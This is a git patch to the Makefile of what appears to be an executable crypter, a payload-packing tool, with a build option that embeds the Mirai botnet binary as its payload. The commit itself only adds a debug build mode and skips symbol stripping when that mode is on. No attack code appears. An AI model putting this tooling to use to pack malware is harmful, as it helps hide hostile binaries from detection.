From 5fe92a79214f6f892390b4145cb8fe4c82a6c1f9 Mon Sep 17 00:00:00 2001 From: segfault Date: Fri, 8 Feb 2019 14:11:12 +0100 Subject: Makefile: added DEBUG mode crypter: fixed possible write-out-of-bounds error Signed-off-by: segfault --- Makefile | 7 +++++++ 1 file changed, 7 insertions(+) (limited to 'Makefile') diff --git a/Makefile b/Makefile index 71d746b..9732231 100644 --- a/Makefile +++ b/Makefile @@ -11,6 +11,9 @@ endif ifeq ($(USE_MIRAI),y) USE_PAYLOAD := mirai.x86 endif +ifeq ($(DEBUG),y) +CFLAGS += -g +endif all: exec_crypter @@ -18,6 +21,7 @@ all: exec_crypter ifeq ($(USE_PAYLOAD),) exec_payload: exec_payload.c $(CC) $(CFLAGS) -o $@ $< +ifneq ($(DEBUG),y) $(STRIP) -s \ --remove-section=.comment \ --remove-section=.eh_frame \ @@ -25,6 +29,7 @@ exec_payload: exec_payload.c --remove-section=.jcr \ --remove-section=.gcc_except_table \ $@ +endif else exec_payload: $(USE_PAYLOAD) $(CP) -v $(USE_PAYLOAD) $@ @@ -38,6 +43,7 @@ exec_crypter.o: exec_crypter.c exec_crypter: include_payload.o exec_crypter.o $(CC) $(CFLAGS) -o $@ include_payload.o exec_crypter.o +ifneq ($(DEBUG),y) $(STRIP) -s \ --remove-section=.comment \ --remove-section=.eh_frame \ @@ -45,6 +51,7 @@ exec_crypter: include_payload.o exec_crypter.o --remove-section=.jcr \ --remove-section=.gcc_except_table \ $@ +endif clean: $(RM) -f exec_payload include_payload.o exec_crypter.o exec_crypter .exec_crypter -- cgit v1.2.3